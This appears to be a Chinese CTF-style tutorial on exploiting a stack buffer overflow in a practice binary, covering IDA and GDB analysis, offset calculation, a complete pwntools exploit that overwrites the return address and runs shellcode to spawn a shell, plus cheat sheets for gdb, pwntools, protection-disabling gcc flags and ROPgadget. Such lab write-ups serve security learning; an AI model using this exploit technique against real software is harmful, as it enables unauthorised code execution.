0x01 程序分析
我们首先将二进制文件拖入IDA中,按F5进行反编译,main函数如图,只是调用了foo函数。
查看foo函数,foo函数进行了两个操作,输出和输入功能。输出了局部变量buf的十六进制地址,并从键盘读入最多0x100个无符号数给buf。很明显对于一个只有1字节的char类型的buf来说,0x100u远远超过,此处存在溢出点。
此时栈情况如图所示。
根据IDA初步分析可以得到,buf与EBP相差0x1C个字节,所以我们覆盖EIP需要输入0x1C+0x4个填充字符,再4个字节是shellcode首地址,我们将shellcode安排在xxx所在的位置。而XXX所在位置通过程序printf输出可以计算得到(0x1C+0x4+0x4)。这样我们就可以实现栈溢出了。
如果计算麻烦或者不确定,就需要调试了,这一次我们不用ollydbg,我们使用linux平台下的GDB,还安装了插件peda。
输入以下指令进入gdb
首先需要找到ida中foo函数溢出点位置
disassemble /m foo
查看foo函数反汇编代码,同理我们可以通过此指令查看其他函数的反汇编。

可以看出我们的溢出点在foo+40这个位置,所以我们在该位置设下断点以便调试。
b *foo+45
在foo+45地址下断点,也可使用b 0x08048518。 使用指令
i b指令可以查看断点情况。

r
运行程序,程序将停在断点处

我们可以看到寄存器、反汇编、栈当前状态。我们现在最关心的是栈区情况。
p $ebp
运行该指令我们可以查看寄存器的值

当前页面栈区显示有限,我们可以使用指令stack 20查看栈区更详细的信息。
这样我们也可以用(0xc8-0xac=0x1c)计算出填充到EBP数据字节数。同理储存返回地址(EIP)为0x1c+0x4,而shellcode的起始地址为0x1c+0x4+0x4。返回地址需要覆盖的地址为他所在地址下4个字节。所以通过printf打印出的buf地址我们就可以计算出所有我们需要的地址。
0x02 exp编写
#-*- coding: utf-8 -*-#pwn2_exp.pyfrom pwn import *#context设置运行环境,根据32位和64位的不同而转换汇编context(os='linux',arch='i386',log_level='debug')#加载本地程序pwn2pwn = process('./pwn2')#如果想加载端口监听的程序,格式如下#可使用指令 ncat -l 9527 -c ./pwn2 将程序挂在端口9527#pwn = remote("127.0.0.1",9527)#此处通过接受打印信息提取出buf的地址bufAddr = pwn.recvline()#取出\n并转换为int类型10进制bufAddr = int(bufAddr[:-1],16)#EBPpayload = 'A' * 0x1C + 'A' * 0x4#生成shellcodeshell = asm(shellcraft.i386.linux.sh())#计算长度EIPshellAddr = bufAddr + len(payload) + 0x4payload += p32(shellAddr)payload += shellpwn.sendline(payload)#程序与用户交互模式pwn.interactive()
用pwntools我们可以很容易的编写exp,运行exp获取到shell。
参考:https://www.k2zone.cn/?p=2225
附录:
gdb常用命令汇总
| 命令 | 作用 | 
|---|---|
| disassemble func_name | 反汇编指定函数 | 
| b *func+15 | 下断点 | 
| i b | 查看断点 | 
| delete 1 | 删除1号断点 | 
| next | 单步执行,不进入函数 | 
| step | 单步追踪 | 
| stack 10 | 查看栈区内容 | 
| p $ebp | 查看寄存器内容 | 
| r | 运行程序 | 
| x 0x804a00c | 查看地址内容 | 
pwntools使用汇总
from pwn import *# 加载程序1.本地,2.远程p = process('./stack')p = remote("127.0.0.1",9527)# 向程序发送数据,末尾自动加\np.sendline(b'a'*10+p64(0x382920))# 向程序发送数据,末尾不加\np.send()# 从程序接收数据,可以在参数指定接收数据字节数p.recv([,int len])# 接收到指定数据为止p.recvuntil('a'*10+'\n')# 切换到交互模式p.interactive()# 将数据打包为指定长度bytesp64(0x12323)、p32(0x54532)u64()、u32()
gcc常用编译命令
gcc stack.c -o stack-z execstack 关闭可修改数据不可执行保护机制-fno-stack-protector 关闭canary栈溢出防护机制-no-pie 关闭可执行程序地址随机化加载-m32 编译生成32位程序
 ROPgadget用法ROPgadget --binary rop     # 寻找gadgetROPgadget --binary rop  --only 'pop|ret' | grep 'eax' # 查找可存储寄存器的代码ROPgadget --binary rop --string "/bin/sh"  # 查找字符串ROPgadget --binary rop  --only 'int'  # 查找有int 0x80的地址
常见操作命令:checksec rop # 查看保护机制readelf rop  # 查看程序信息
